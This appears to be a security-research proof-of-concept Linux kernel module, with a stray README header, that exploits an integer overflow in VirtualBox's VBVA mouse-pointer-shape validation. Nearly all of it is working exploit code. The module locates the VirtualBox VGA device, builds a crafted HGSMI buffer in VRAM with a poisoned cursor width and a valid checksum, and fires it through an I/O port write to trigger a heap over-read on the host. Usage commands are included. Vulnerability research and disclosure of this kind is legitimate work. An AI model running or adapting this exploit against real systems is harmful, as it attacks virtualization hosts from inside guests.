README.md
Rendering markdown...
/*
* GFX-1 PoC: VBVA Mouse Pointer Shape Integer Overflow
*
* Demonstrates CVE-worthy bug in VirtualBox DevVGA_VBVA.cpp:740-741
* where || is used instead of && in dimension validation:
*
* ASSERT_GUEST_MSG_RETURN( SafeShape.u32Width <= s_cxMax
* || SafeShape.u32Height <= s_cyMax, ...)
*
* This allows Width > 2048 as long as Height <= 2048, causing integer
* overflow in cbPointerData computation. The host allocates a tiny
* buffer but stores huge width/height, leading to heap over-read when
* the host display driver processes the cursor shape.
*
* Trigger path (no Guest Additions required):
* guest writes HGSMI buffer to VRAM → outl(offset, 0x3D0)
* → HGSMIGuestWrite → HGSMIBufferProcess → vbvaChannelHandler
* → vbvaMousePointerShape → integer overflow → small RTMemAlloc
* → pfnVBVAMousePointerShape with bogus width/height
*
* Usage: insmod gfx1_exploit.ko
* dmesg | grep gfx1_poc
* rmmod gfx1_exploit
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/pci.h>
#include <linux/io.h>
#include <linux/delay.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Security Research");
MODULE_DESCRIPTION("GFX-1: VBVA mouse pointer shape integer overflow PoC");
#define VBOX_VGA_VENDOR 0x80ee
#define VBOX_VGA_DEVICE 0xbeef
/* HGSMI port for guest commands */
#define VGA_PORT_HGSMI_GUEST 0x3D0
/* HGSMI channel and command IDs */
#define HGSMI_CH_VBVA 0x02
#define VBVA_MOUSE_POINTER_SHAPE 8
/* Mouse pointer flags */
#define VBOX_MOUSE_POINTER_VISIBLE 0x0001
#define VBOX_MOUSE_POINTER_SHAPE 0x0004
/* HGSMI buffer header (16 bytes, packed) */
struct hgsmi_buffer_header {
uint32_t u32DataSize;
uint8_t u8Flags;
uint8_t u8Channel;
uint16_t u16ChannelInfo;
uint32_t u32Reserved1;
uint32_t u32Reserved2;
} __packed;
/* HGSMI buffer tail (8 bytes, packed) */
struct hgsmi_buffer_tail {
uint32_t u32Reserved;
uint32_t u32Checksum;
} __packed;
/* VBVAMOUSEPOINTERSHAPE (24 bytes header + variable data) */
struct vbva_mouse_pointer_shape {
int32_t i32Result;
uint32_t fu32Flags;
uint32_t u32HotX;
uint32_t u32HotY;
uint32_t u32Width;
uint32_t u32Height;
/* au8Data follows */
} __packed;
/*
* One-at-a-time hash — exact replica of HGSMICommon.cpp
*/
static uint32_t hgsmi_hash_process(uint32_t hash, const void *data, size_t len)
{
const uint8_t *p = data;
while (len--) {
hash += *p++;
hash += (hash << 10);
hash ^= (hash >> 6);
}
return hash;
}
static uint32_t hgsmi_hash_end(uint32_t hash)
{
hash += (hash << 3);
hash ^= (hash >> 11);
hash += (hash << 15);
return hash;
}
static uint32_t hgsmi_checksum(uint32_t offset,
const struct hgsmi_buffer_header *hdr,
uint32_t tail_reserved)
{
uint32_t hash = 0; /* hgsmiHashBegin() */
hash = hgsmi_hash_process(hash, &offset, sizeof(offset));
hash = hgsmi_hash_process(hash, hdr, sizeof(*hdr));
hash = hgsmi_hash_process(hash, &tail_reserved, sizeof(tail_reserved));
return hgsmi_hash_end(hash);
}
/*
* Demonstrate the integer overflow arithmetic (for dmesg logging).
*
* With Width=0x80000001, Height=16:
* AND mask: (((W+7)/8) * H + 3) & ~3
* = (0x10000001 * 16 + 3) & ~3
* = (0x00000010 + 3) & ~3 [overflow!]
* = 16
* XOR mask: W * 4 * H
* = 0x00000004 * 16 [overflow!]
* = 64
* cbPointerData = 16 + 64 = 80 [should be ~12 GB]
*/
#define POISON_WIDTH 0x80000001U
#define POISON_HEIGHT 16U
/* The overflowed cbPointerData value */
#define CB_POINTER_DATA 80U
/* VBVAMOUSEPOINTERSHAPE fields before au8Data */
#define SHAPE_HEADER_SIZE 24U
/* We need u32DataSize >= CB_POINTER_DATA + SHAPE_HEADER_SIZE = 104 */
#define HGSMI_DATA_SIZE 128U
/* Place buffer well past display framebuffer area */
#define BUFFER_VRAM_OFFSET 0x00100000U /* 1 MB into VRAM */
static struct pci_dev *vga_dev;
static void __iomem *vram_map; /* mapped window (just the page we need) */
static resource_size_t vram_size;
static resource_size_t map_phys;
static resource_size_t map_size;
static int __init gfx1_init(void)
{
struct hgsmi_buffer_header hdr;
struct hgsmi_buffer_tail tail;
struct vbva_mouse_pointer_shape shape;
uint32_t checksum;
void __iomem *buf_base;
uint32_t total_buf_size;
int32_t result;
resource_size_t bar_start;
pr_info("gfx1_poc: Loading GFX-1 VBVA mouse pointer overflow PoC\n");
/* Find VirtualBox VGA device */
vga_dev = pci_get_device(VBOX_VGA_VENDOR, VBOX_VGA_DEVICE, NULL);
if (!vga_dev) {
pr_err("gfx1_poc: VBox VGA device [%04x:%04x] not found\n",
VBOX_VGA_VENDOR, VBOX_VGA_DEVICE);
return -ENODEV;
}
pr_info("gfx1_poc: Found VBox VGA at %s\n", pci_name(vga_dev));
/* Get VRAM (BAR 0) size and base */
vram_size = pci_resource_len(vga_dev, 0);
bar_start = pci_resource_start(vga_dev, 0);
if (vram_size == 0 || bar_start == 0) {
pr_err("gfx1_poc: BAR 0 invalid (start=0x%llx, size=0x%llx)\n",
(unsigned long long)bar_start, (unsigned long long)vram_size);
pci_dev_put(vga_dev);
return -ENOMEM;
}
pr_info("gfx1_poc: VRAM BAR 0: phys 0x%llx size 0x%llx\n",
(unsigned long long)bar_start, (unsigned long long)vram_size);
total_buf_size = sizeof(struct hgsmi_buffer_header) + HGSMI_DATA_SIZE
+ sizeof(struct hgsmi_buffer_tail);
if (BUFFER_VRAM_OFFSET + total_buf_size > vram_size) {
pr_err("gfx1_poc: VRAM too small for buffer at offset 0x%x\n",
BUFFER_VRAM_OFFSET);
pci_dev_put(vga_dev);
return -ENOMEM;
}
/*
* Map only a small window around our buffer, not the entire VRAM.
* This avoids ioremap failures when VRAM is large (16-256 MB) and
* the existing framebuffer driver already holds the region.
*/
map_phys = bar_start + (BUFFER_VRAM_OFFSET & PAGE_MASK);
map_size = PAGE_ALIGN(total_buf_size + (BUFFER_VRAM_OFFSET & ~PAGE_MASK)) + PAGE_SIZE;
vram_map = ioremap(map_phys, map_size);
if (!vram_map) {
pr_err("gfx1_poc: Failed to ioremap VRAM window "
"(phys 0x%llx, size 0x%llx)\n",
(unsigned long long)map_phys, (unsigned long long)map_size);
pci_dev_put(vga_dev);
return -ENOMEM;
}
pr_info("gfx1_poc: Mapped VRAM window at %p (phys 0x%llx + 0x%llx)\n",
vram_map, (unsigned long long)map_phys, (unsigned long long)map_size);
/*
* Build HGSMI buffer in VRAM at BUFFER_VRAM_OFFSET
*
* Layout:
* +0x00: HGSMIBUFFERHEADER (16 bytes)
* +0x10: payload = VBVAMOUSEPOINTERSHAPE (128 bytes)
* +0x90: HGSMIBUFFERTAIL (8 bytes)
* Total: 152 bytes
*/
/* buf_base = mapped window base + offset within the mapped page */
buf_base = vram_map + (BUFFER_VRAM_OFFSET - (BUFFER_VRAM_OFFSET & PAGE_MASK));
/* --- Header --- */
memset(&hdr, 0, sizeof(hdr));
hdr.u32DataSize = HGSMI_DATA_SIZE; /* 128 */
hdr.u8Flags = 0x00; /* SEQ_SINGLE */
hdr.u8Channel = HGSMI_CH_VBVA; /* 0x02 */
hdr.u16ChannelInfo = VBVA_MOUSE_POINTER_SHAPE; /* 8 */
hdr.u32Reserved1 = 0;
hdr.u32Reserved2 = 0;
/* --- Payload (mouse pointer shape) --- */
memset(&shape, 0, sizeof(shape));
shape.i32Result = 0;
shape.fu32Flags = VBOX_MOUSE_POINTER_VISIBLE | VBOX_MOUSE_POINTER_SHAPE;
shape.u32HotX = 0;
shape.u32HotY = 0;
shape.u32Width = POISON_WIDTH; /* 0x80000001 — passes || check */
shape.u32Height = POISON_HEIGHT; /* 16 — satisfies height <= 2048 */
/* --- Tail --- */
memset(&tail, 0, sizeof(tail));
tail.u32Reserved = 0;
/* Compute checksum: hash(offset, header, tail.u32Reserved) */
checksum = hgsmi_checksum(BUFFER_VRAM_OFFSET, &hdr, tail.u32Reserved);
tail.u32Checksum = checksum;
pr_info("gfx1_poc: HGSMI checksum = 0x%08x\n", checksum);
pr_info("gfx1_poc: Malicious shape: %ux%u (should overflow cbPointerData to %u)\n",
POISON_WIDTH, POISON_HEIGHT, CB_POINTER_DATA);
/* Verify overflow arithmetic */
{
uint32_t w = POISON_WIDTH, h = POISON_HEIGHT;
uint32_t and_mask = ((((w + 7) / 8) * h + 3) & ~3U);
uint32_t xor_mask = w * 4 * h;
uint32_t cb = and_mask + xor_mask;
pr_info("gfx1_poc: Overflow check: AND=%u XOR=%u cbPointerData=%u\n",
and_mask, xor_mask, cb);
pr_info("gfx1_poc: Real data needed: ~%llu bytes (AND) + ~%llu bytes (XOR)\n",
(unsigned long long)((((uint64_t)w + 7) / 8) * h),
(unsigned long long)((uint64_t)w * 4 * h));
}
/* Zero the entire buffer region in VRAM first */
memset_io(buf_base, 0, total_buf_size);
/* Write header to VRAM */
memcpy_toio(buf_base, &hdr, sizeof(hdr));
/* Write shape payload to VRAM (after header) */
memcpy_toio(buf_base + sizeof(hdr), &shape, sizeof(shape));
/* Remaining payload bytes (128 - 24 = 104 bytes of au8Data area)
* are already zeroed — serves as dummy pixel data */
/* Write tail to VRAM */
memcpy_toio(buf_base + sizeof(hdr) + HGSMI_DATA_SIZE, &tail, sizeof(tail));
pr_info("gfx1_poc: HGSMI buffer written at VRAM offset 0x%x\n",
BUFFER_VRAM_OFFSET);
pr_info("gfx1_poc: Triggering via outl(0x%x, 0x%x)...\n",
BUFFER_VRAM_OFFSET, VGA_PORT_HGSMI_GUEST);
/* Fire! Write the buffer offset to the HGSMI guest port */
outl(BUFFER_VRAM_OFFSET, VGA_PORT_HGSMI_GUEST);
/* Small delay for host processing */
mdelay(100);
/* Read back i32Result from the payload in VRAM */
result = readl(buf_base + sizeof(hdr)); /* first field of shape */
pr_info("gfx1_poc: i32Result = %d (0=success, negative=VBox error)\n", result);
if (result == 0) {
pr_info("gfx1_poc: *** COMMAND ACCEPTED ***\n");
pr_info("gfx1_poc: Host allocated %u bytes for a %ux%u cursor\n",
CB_POINTER_DATA, POISON_WIDTH, POISON_HEIGHT);
pr_info("gfx1_poc: The host display driver now has a cursor shape with\n");
pr_info("gfx1_poc: dimensions 2147483649x16 but only 80 bytes of pixel data.\n");
pr_info("gfx1_poc: === GFX-1 INTEGER OVERFLOW CONFIRMED ===\n");
} else if (result == -22) {
/* VERR_INVALID_PARAMETER = -22 in VBox error codes */
pr_info("gfx1_poc: Command rejected with VERR_INVALID_PARAMETER\n");
pr_info("gfx1_poc: The validation caught the bad dimensions (bug may be fixed)\n");
} else {
pr_info("gfx1_poc: Unexpected result code: %d\n", result);
}
return 0;
}
static void __exit gfx1_exit(void)
{
if (vram_map)
iounmap(vram_map);
if (vga_dev)
pci_dev_put(vga_dev);
pr_info("gfx1_poc: Unloaded\n");
}
module_init(gfx1_init);
module_exit(gfx1_exit);